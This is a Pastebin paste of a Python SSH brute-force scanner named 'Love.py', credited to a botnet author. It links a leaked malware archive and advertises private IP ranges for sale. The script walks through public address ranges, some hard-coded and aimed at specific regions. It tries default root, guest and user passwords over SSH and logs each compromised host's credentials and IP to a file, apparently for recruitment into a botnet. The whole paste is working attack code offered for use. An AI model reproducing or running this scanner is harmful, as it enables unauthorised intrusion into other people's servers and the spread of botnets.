Advertisement
GodAres

[Love.py - Ares SSH scanner]

Jun 21st, 2017
1,665
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.07 KB | None | 0 0
  1. # http://leakedfiles.org/Archive/Malware/Botnet%20Files/QboT%20Sources/%5b%252A%20Scanners%20%252A%5d/Python/Love
  2. # %20ares%20bot%20scanners/   ( JIAHDI RELEASED THIS ON HIS SITE LOL FULL MEMES THANKS FOR THE SUPPORT BIG HACKA <3 )
  3. #         MADE WITH LOVE BY ARES
  4. #  IG:Love.Ares           IG:Love.Hecate
  5. #      HIT ME UP FOR PRIVATE RANGES
  6. import threading, paramiko, random, socket, time, sys
  7.  
  8. paramiko.util.log_to_file("/dev/null")
  9.  
  10. server_ip = "173.0.51.121"
  11.  
  12. blacklisted = ["127.0","10.0","192.168"]
  13.  
  14. passwords = ["root:root"]
  15.  
  16. if sys.argv[4] == "1":
  17.     passwords = ["root:root"]
  18. if sys.argv[4] == "guest":
  19.     passwords = ["guest:guest"]
  20. if sys.argv[4] == "user":
  21.     passwords = ["user:1111"]
  22.  
  23. if len(sys.argv) < 4:
  24.     sys.exit("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")
  25.  
  26. print """\n\x1b[0;37m*******************************************************************************
  27. *                           \x1b[1;31mLOVE \x1b[1;35mSCANNER \x1b[1;31mPROCESS\x1b[0;37m                              *
  28. *******************************************************************************\x1b[0m"""
  29. # Note : ( Stopped and took a dab at 2:15pm )
  30. def sshscanner(ip):
  31.     global passwords
  32.     try:
  33.         thisipisbad='no'
  34.         for badip in blacklisted:
  35.             if badip in ip:
  36.                 thisipisbad='yes'
  37.         if thisipisbad=='yes':
  38.             sys.exit()
  39.         username='root'
  40.         password="0"
  41.         port = 22
  42.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  43.         s.settimeout(3)
  44.         s.connect((ip, port))
  45.         data = str(s.recv(1024))
  46.         if "SSH" in data:
  47.             print("\x1b[1;35m| <3 | \x1b[1;31mScanning \x1b[1;35m| SSH | \x1b[1;31mWith \x1b[1;35m| Love | \x1b[1;31m<3 \x1b[1;35m | " + ip + "\x1b[37m")
  48.         elif "ssh" in data:
  49.             print("\x1b[1;31m<3 Scanning \x1b[1;35mSSH \x1b[1;31mWith Love <3 \x1b[1;35m " + ip + "\x1b[37m")
  50.         else:
  51.             sys.exit()
  52.         s.close()
  53.         ssh = paramiko.SSHClient()
  54.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  55.         dobreak=False
  56.         for passwd in passwords:
  57.             if ":n/a" in passwd:
  58.                 password=""
  59.             else:
  60.                 password=passwd.split(":")[1]
  61.             if "n/a:" in passwd:
  62.                 username=""
  63.             else:
  64.                 username=passwd.split(":")[0]
  65.             try:
  66.                 ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  67.                 break
  68.             except:
  69.                 pass
  70.         badserver=True
  71.         stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  72.         output = stdout.read()
  73.         if "inet addr" in output:
  74.             badserver=False
  75.         websites = [ ]         
  76.         if badserver == False:
  77.                 print("\x1b[1;37mLoading [\x1b[1;34mLOVE\x1b[1;37m] Bot <3 " + ip + ": \x1b[1;34m[" + username + "] : [" + password + "]\x1b[37m")
  78.                 ssh.exec_command('')
  79.                 vulns = open("vuln.txt", "a").write(username + ":" + password + ":" + ip + "\n")
  80.                 time.sleep(12)
  81.                 ssh.close()
  82.     except Exception as e:
  83.         pass
  84.  
  85.  
  86. if sys.argv[2] == "LUCKY":
  87.     ranges = ["190.232.0.0/190.236.255.255", "212.194.0.0/212.195.255.255", "190.13.0.0/190.13.255.255", "190.40.0.0/190.42.255.255", "190.48.0.0/190.49.255.255", "190.96.0.0/190.97.255.255", "190.232.0.0/190.239.255.255", "190.184.0.0/190.184.255.255", "181.174.0.0/181.174.255.255", "186.183.0.0/186.183.255.255", "122.170.0.0/122.173.255.255", "122.3.0.0/122.3.255.255", "122.52.0.0/122.54.255.255", "59.177.0.0/59.178.255.255", "59.180.0.0/59.180.255.255", "59.182.0.0/59.184.255.255", "181.64.0.0/181.67.255.255", "200.106.0.0/200.106.255.255", "200.121.0.0/200.121.255.255", "201.230.0.0/201.230.255.255", "201.240.0.0/201.240.255.255","101.108.0.0/101.109.255.255""192.0.0/192.168.255.255.255"]
  88.     randomrange = random.choice(ranges)
  89.     startrng = randomrange.split("/")[0]
  90.     endrng = randomrange.split("/")[1]
  91.  
  92. if sys.argv[2] != "LUCKY":
  93.     a = int(sys.argv[2].split(".")[0])
  94.     b = int(sys.argv[2].split(".")[1])
  95.     c = int(sys.argv[2].split(".")[2])
  96.     d = int(sys.argv[2].split(".")[3])
  97. else:
  98.     a = int(startrng.split(".")[0])
  99.     b = int(startrng.split(".")[1])
  100.     c = int(startrng.split(".")[2])
  101.     d = int(startrng.split(".")[3])
  102. x = 0
  103.  
  104. while(True):
  105.     try:
  106.  
  107.         if sys.argv[2] != "LUCKY":
  108.             endaddr = sys.argv[3]
  109.         else:
  110.             endaddr = endrng
  111.        
  112.         d += 1
  113.  
  114.         ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  115.  
  116.         if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):
  117.             if sys.argv[2] == "LUCKY":
  118.                 randomrange = random.choice(ranges)
  119.                 startrng = randomrange.split("/")[0]
  120.                 endrng = randomrange.split("/")[1]
  121.                 a = int(startrng.split(".")[0])
  122.                 b = int(startrng.split(".")[1])
  123.                 c = int(startrng.split(".")[2])
  124.                 d = int(startrng.split(".")[3])
  125.             else:
  126.                 break
  127.  
  128.         if d > 255:
  129.             c += 1
  130.             d = 0
  131.  
  132.         if c > 255:
  133.             b += 1
  134.             c = 0
  135.        
  136.         if b > 255:
  137.             a += 1
  138.             b = 0
  139.  
  140.         ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  141.  
  142.         if ipaddr == endaddr:
  143.             if sys.argv[2] == "LUCKY":
  144.                 randomrange = random.choice(ranges)
  145.                 startrng = randomrange.split("/")[0]
  146.                 endrng = randomrange.split("/")[1]
  147.                 a = int(startrng.split(".")[0])
  148.                 b = int(startrng.split(".")[1])
  149.                 c = int(startrng.split(".")[2])
  150.                 d = int(startrng.split(".")[3])
  151.             else:
  152.                 break
  153.  
  154.         if x > 500:
  155.             time.sleep(1)
  156.             x = 0
  157.        
  158.         t = threading.Thread(target=sshscanner, args=(ipaddr,))
  159.         t.start()
  160.        
  161.     except Exception as e:
  162.         pass
  163.  
  164. print "\x1b[37mDone\x1b[37m"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement